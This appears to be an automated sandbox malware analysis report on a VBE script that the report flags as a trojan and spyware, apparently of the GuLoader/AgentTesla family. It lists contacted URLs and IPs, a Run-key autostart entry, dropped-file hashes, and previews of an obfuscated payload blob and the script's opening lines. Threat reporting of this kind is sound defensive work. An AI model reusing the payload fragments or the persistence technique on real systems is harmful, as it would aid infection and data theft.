https://drive.googl	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/uc?e	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pesterh	powershell.exe, 00000009.00000002.882848532717.000002165B32B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.882848532717.000002165B480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882926973942.0000021669E6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005737000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ip-api.com	wab.exe, 0000000F.00000002.882856308898.0000000020C51000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlh	powershell.exe, 00000009.00000002.882848532717.000002165B32B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.google.com	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com	powershell.exe, 00000009.00000002.882848532717.000002165A2D1000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/PesterXz	powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.google.c	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000009.00000002.882848532717.0000021659E01000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/uc?	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000009.00000002.882848532717.0000021659E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.00000000046D1000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882856308898.0000000020C51000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.org	powershell.exe, 00000009.00000002.882848532717.000002165B100000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.co	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.pngXz	powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
172.217.2.33	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.191.110	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466653
Start date and time:	2024-07-03 08:51:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Inquiry Studbolt - 240703.vbe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBE@14/8@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 91% Number of executed functions: 107 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .vbe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, assets.msn.com, ctldl.windowsupdate.com, api.msn.com
Execution Graph export aborted for target powershell.exe, PID 2680 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6840 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:55:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run GrOcCQC C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe
07:55:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run GrOcCQC C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	2024.scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	AWB 3609 961.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Doc_CI_PL_HBL_COO_Insu_.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	roger.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	okmnji.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	ip-api.com/line/?fields=hosting
	AWB DHL#40882993049403.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	llD1w4ROY5.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	2024.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	AWB 3609 961.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Doc_CI_PL_HBL_COO_Insu_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	roger.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	okmnji.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
	AWB DHL#40882993049403.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	llD1w4ROY5.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	2024.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	AWB 3609 961.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Doc_CI_PL_HBL_COO_Insu_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	roger.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	okmnji.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
	AWB DHL#40882993049403.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	llD1w4ROY5.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	2024.scr.exe	Get hash	malicious	AgentTesla	Browse	142.250.191.110 172.217.2.33
	Enquiry Quote - 24071834-01.vbs	Get hash	malicious	GuLoader	Browse	142.250.191.110 172.217.2.33
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	142.250.191.110 172.217.2.33
	2669976595_366408723_KHI_SOF_240702_0957_P.vbs	Get hash	malicious	GuLoader	Browse	142.250.191.110 172.217.2.33
	DHL Polska_Powiadomienie oprzesy#U0142ce 28036893335.vbs	Get hash	malicious	GuLoader	Browse	142.250.191.110 172.217.2.33
	AF85714759_htm#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.191.110 172.217.2.33
	Zapytanie ofertowe (GASTRON 07022024).vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.191.110 172.217.2.33
	B24E33 ENQUIRY.vbe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	142.250.191.110 172.217.2.33
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.191.110 172.217.2.33
	AWB 3609 961.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	142.250.191.110 172.217.2.33
37f463bf4616ecd445d4a1937da06e19	RFQ KTH02-07-2024#U00b7pdf.exe	Get hash	malicious	GuLoader, Lokibot	Browse	142.250.191.110 172.217.2.33
	AF85714759_htm#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.191.110 172.217.2.33
	Zapytanie ofertowe (GASTRON 07022024).vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.191.110 172.217.2.33
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.191.110 172.217.2.33
	birectangular.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.191.110 172.217.2.33
	SecuriteInfo.com.Adware.DownwareNET.4.16171.10714.exe	Get hash	malicious	Unknown	Browse	142.250.191.110 172.217.2.33
	SecuriteInfo.com.Adware.DownwareNET.4.16171.10714.exe	Get hash	malicious	Unknown	Browse	142.250.191.110 172.217.2.33
	file.exe	Get hash	malicious	Vidar	Browse	142.250.191.110 172.217.2.33
	FmQx1Fw3VA.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.191.110 172.217.2.33
	config.lnk.mal.lnk	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.191.110 172.217.2.33

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Zapytanie ofertowe (GASTRON 07022024).vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	New Order CHAL-0435.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	FA46969-OVERSEAS 2024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	staff record or employee record.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	Inquiry-N#U00b0 3079-24-06.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Inquiry-N#U00b0 3079-24-06.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Salary List.xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	temp2.vbs	Get hash	malicious	GuLoader	Browse
	temp2.vbs	Get hash	malicious	Remcos, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9R:9rib4Z1VoGIpN6KQkj2qkjh4iUxsT6YP
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulImPltZ:NllUL
MD5:	8AE1FFF147E23D63DB05800F7EBCE477
SHA1:	2CE64031721E4B38D38CAC2568D964708673A1A5
SHA-256:	8F50D85B9696F09A95A0AEACEC2B2596499D618D964FC7569A511A9B15496979
SHA-512:	6924FD35F93B70D0D2664D188266AFAA9DB6044E8F74EFEDCA2CB996F616182BBEC43023A6B6E8FE5A358C83DD9F453BA6F99ED387F45F4E736728F6FAB844BC
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2jggd3f.0gy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhx2myhm.43u.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xmx2r0kx.r2f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zi4jvttu.wlo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Belleric74.Afs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	428132
Entropy (8bit):	5.940357935765949
Encrypted:	false
SSDEEP:	6144:c5hqyFqYdoggcbiS6cCvGuUG4Tz2kV8v7S54zihTKrRlLt36eV374QJG:c5Fhmgbo4WkV8e58icrHt36eV374P
MD5:	E51B9946D8F4C3242757F29CE68CF7B2
SHA1:	15180921F60560CB3C28B4194EB13A8AA898F681
SHA-256:	C4A205B291209029FB3FBBF0DE0C41FEB9E0C996F268FC30023E207597A9A415
SHA-512:	99FA37EF5C76F2FC5B914C6F0913B6296CE5ACD201CECFF80DEB5E6DF9682C25B9BFA5447A8DADCAC3138595CD72D770E3C42131AD92B19E53C774CE8FDA55FF
Malicious:	false
Preview:	cQGb6wLIibtj/BsAcQGbcQGbA1wkBOsCPC/rAoAjuZD/20RxAZtxAZuBweqs46rrAvJxcQGbgcGGU0AQ6wLoBesCyd1xAZvrAh8TuhxuEflxAZvrAoXH6wLGSOsCEHUxynEBm+sCMziJFAtxAZvrAq3c0eJxAZtxAZuDwQRxAZvrAueLgfldxpwAfMtxAZvrAgw/i0QkBHEBm+sCwq2Jw3EBm+sC+/CBwz4jcQDrAuBY6wLtKrqwhVQCcQGbcQGbgfJpgFg5cQGbcQGbgfLZBQw7cQGb6wKvd+sCPs1xAZvrAj/x6wJUHIsMEOsCHM3rAn1oiQwTcQGbcQGbQnEBm+sC96iB+iB+BAB11OsCBJDrAs9WiVwkDHEBm3EBm4HtAAMAAHEBm+sCRsqLVCQIcQGb6wJsc4t8JARxAZvrAt6DievrAtOx6wK48oHDnAAAAOsCtQFxAZtT6wISfOsCIcdqQOsCBtDrAqcTievrAnov6wKQ5seDAAEAAADQuwBxAZtxAZuBwwABAADrAlhKcQGbU3EBm+sCkBKJ63EBm3EBm4m7BAEAAHEBm+sCDbiBwwQBAADrAhjkcQGbU3EBm3EBm2r/6wJoZ3EBm4PCBXEBm3EBmzH2cQGbcQGbMcnrAoki6wIuFYsacQGbcQGbQesCO1LrAmW8ORwKdfLrAgj8cQGbRnEBm3EBm4B8Cvu4dd1xAZtxAZuLRAr86wI6eusCFbYp8OsCuiXrAkNs/9JxAZvrAm44uiB+BADrArKycQGbMcDrAqsq6wImHot8JAzrAu8icQGbgTQHArNcbXEBm3EBm4PABHEBm+sClsU50HXl6wJjjOsCNPSJ+3EBm3EBm//X6wJf6XEBm4tW1Ti5CZxp2hLdrx+8BguDQQ2qtcfdh45i2RErZ9c4uUWbmFc6udSY8vk9g0JWVoTU3YRp0tVEg1pRdJi+2KTF91FtNgqRDYPHUW1lH0fjg/dRbaYQzVGD91FtC/TEuYsG

C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	516608
Entropy (8bit):	6.035530871194082
Encrypted:	false
SSDEEP:	12288:TTx5KRZ18xtSP+szdcIugOO50MMEMOkP:QmxtSP+sJ+O5FWPP
MD5:	251E51E2FEDCE8BB82763D39D631EF89
SHA1:	677A3566789D4DA5459A1ECD01A297C261A133A2
SHA-256:	2682086ACE1970D5573F971669591B731F87D749406927BD7A7A4B58C3C662E9
SHA-512:	3B49E6D9197B12CA7AA282707D62496D9FEAC32B3F6FD15AFFD4EAAA5239DA903FADD4600A1D17A45EC330A590FC86218C9A7DC20306B52D8170E04B0E325521
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Zapytanie ofertowe (GASTRON 07022024).vbs, Detection: malicious, Browse Filename: Purchase Order N#U00b0 20240702.vbs, Detection: malicious, Browse Filename: New Order CHAL-0435.vbs, Detection: malicious, Browse Filename: FA46969-OVERSEAS 2024.vbs, Detection: malicious, Browse Filename: staff record or employee record.vbs, Detection: malicious, Browse Filename: Inquiry-N#U00b0 3079-24-06.exe, Detection: malicious, Browse Filename: Inquiry-N#U00b0 3079-24-06.exe, Detection: malicious, Browse Filename: Salary List.xls.vbs, Detection: malicious, Browse Filename: temp2.vbs, Detection: malicious, Browse Filename: temp2.vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.............................................................%.............Rich....................PE..L....X8............................00.......@....@..........................0......t.....@...... ..........................4Q.......p....................... ......0...T...................\|........................P..0....8..@....................text....(......................... ..`.data........@......................@....idata.......P.......0..............@..@.didat.......`.......:..............@....rsrc........p.......<..............@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	4.880905742953184
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Inquiry Studbolt - 240703.vbe
File size:	18'970 bytes
MD5:	cac00b561578ffb0e2b2b2fd96eec0cd
SHA1:	16ffdf688abd43ccfaa46f24709ade48af5534e7
SHA256:	8876ad4754fb4f61ba5489924603d279dc023f68c1ba847020107a376de9a9ad
SHA512:	7bad80c9c51cb4a71b665e3dd39d18cc74f0a049fdd2d99a47f91db66cca90988338d1c5fd6f47572f46944a0974922258f62dac3a3bf13cb68c962749a4b9e0
SSDEEP:	384:FEqYZwQPrTnemkhGKab3oF6NdV9Ndnr3sVP9+nuBwSv:FEqDAnemkIbM6bV9fr3sVFouBwSv
TLSH:	7D8227ADDDFA79AC468EB6658901988C742409DDFD35B43A35C9428F0001FCB7B688FB
File Content Preview:	..................Set Verfendes = CreateObject("WScript.Shell")..nyvurderingerne = -9780..Unauthorized = "Bhutansk. verdensmesterens."..Protesttog = &H5DBC..Superinjustice = &HFFFF3B7F..Disconcertedly28 = "Prakker; provocation;"..Omfangs = &H5521..Urease1

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 08:54:41.349242926 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.349268913 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.349556923 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.356527090 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.356540918 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.611905098 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.612266064 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.612679958 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.612941027 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.614413023 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.614418983 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.614681005 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.621141911 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.668215990 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.879374027 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.879471064 CEST	443	49949	142.250.191.110	192.168.11.30
Jul 3, 2024 08:54:41.879653931 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:41.885519028 CEST	49949	443	192.168.11.30	142.250.191.110
Jul 3, 2024 08:54:42.011673927 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:42.011698961 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:42.011923075 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:42.012289047 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:42.012300014 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:42.266915083 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:42.267143965 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:42.268579960 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:42.268588066 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:42.268842936 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:42.269679070 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:42.312196970 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:43.298443079 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:43.299590111 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:43.299746037 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:43.314500093 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:43.314682007 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:43.314770937 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:43.324139118 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:43.325045109 CEST	49950	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:54:43.330918074 CEST	443	49950	172.217.2.33	192.168.11.30
Jul 3, 2024 08:54:43.379525900 CEST	49950	443	192.168.11.30	172.217.2.33
